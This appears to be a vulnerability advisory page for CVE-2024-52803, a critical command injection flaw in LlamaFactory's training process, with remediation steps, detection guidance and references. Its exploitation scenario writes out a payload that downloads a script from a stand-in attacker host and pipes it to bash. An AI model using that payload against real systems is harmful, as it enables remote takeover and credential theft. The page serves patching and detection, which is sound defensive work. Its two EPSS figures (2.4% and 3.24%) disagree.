CVE-2024-52803: LlamaFactory: RCE via OS command injection in training
GHSA-hj3w-wrh4-44vp CRITICAL PoC AVAILABLE CISA: TRACK*Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.
Risk Assessment
Extremely high. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means zero-barrier remote exploitation. EPSS at 2.4% suggests active exploitation has not been widely observed yet, but a public PoC on GitHub makes weaponization trivial. Training servers frequently run with elevated privileges and access to sensitive data (weights, datasets, cloud credentials), amplifying the blast radius well beyond the host itself.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| llama-factory | pip | — | No patch |
| llamafactory | pip | <= 0.9.0 | 0.9.1 |
Severity & Risk
Attack Surface
Recommended Action
5 steps-
PATCH
Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix.
-
ISOLATE
If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure.
-
AUDIT
Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files).
-
ROTATE
Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts.
-
DETECT
Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-52803?
Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.
Is CVE-2024-52803 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2024-52803, increasing the risk of exploitation.
How to fix CVE-2024-52803?
1. PATCH: Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix. 2. ISOLATE: If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure. 3. AUDIT: Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files). 4. ROTATE: Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts. 5. DETECT: Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).
What systems are affected by CVE-2024-52803?
This vulnerability affects the following AI/ML architecture patterns: LLM fine-tuning pipelines, MLOps platforms, Training infrastructure, Self-hosted model development environments.
What is the CVSS score for CVE-2024-52803?
CVE-2024-52803 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 3.24%.
Technical Details
NVD Description
LLama Factory enables fine-tuning of large language models. A critical remote OS command injection vulnerability has been identified in the LLama Factory training process. This vulnerability arises from improper handling of user input, allowing malicious actors to execute arbitrary OS commands on the host system. The issue is caused by insecure usage of the `Popen` function with `shell=True`, coupled with unsanitized user input. Immediate remediation is required to mitigate the risk. This vulnerability is fixed in 0.9.1.
Exploitation Scenario
An attacker identifies an internet-facing LlamaFactory training interface (common in self-hosted ML platforms and Jupyter-adjacent tooling). They craft an HTTP request to the training API with a payload containing shell metacharacters (e.g., `; curl attacker.com/shell.sh | bash #`) in a user-controlled parameter. Because `Popen` is called with `shell=True` and no sanitization, the OS shell evaluates the injected command directly. The attacker establishes a reverse shell, harvests cloud credentials from environment variables and config files, exfiltrates model checkpoints, and pivots to connected infrastructure — all without ever authenticating.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
- github.com/advisories/GHSA-hj3w-wrh4-44vp
- nvd.nist.gov/vuln/detail/CVE-2024-52803
- gist.github.com/superboy-zjc/f2d2b93ae511c445ba97e144b70e534d Exploit
- github.com/hiyouga/LLaMA-Factory/commit/b3aa80d54a67da45e9e237e349486fb9c162b2ac Patch
- github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-hj3w-wrh4-44vp Exploit Vendor
Timeline
Related Vulnerabilities
CVE-2025-53002 9.8 LLaMA-Factory: RCE via unsafe checkpoint deserialization
Same package: llamafactory CVE-2025-61784 8.1 LLaMA-Factory: SSRF+LFI in multimodal chat API
Same package: llamafactory CVE-2025-46567 7.8 LLaMA-Factory: RCE via torch.load() unsafe deserialization
Same package: llamafactory CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain
AI Threat Alert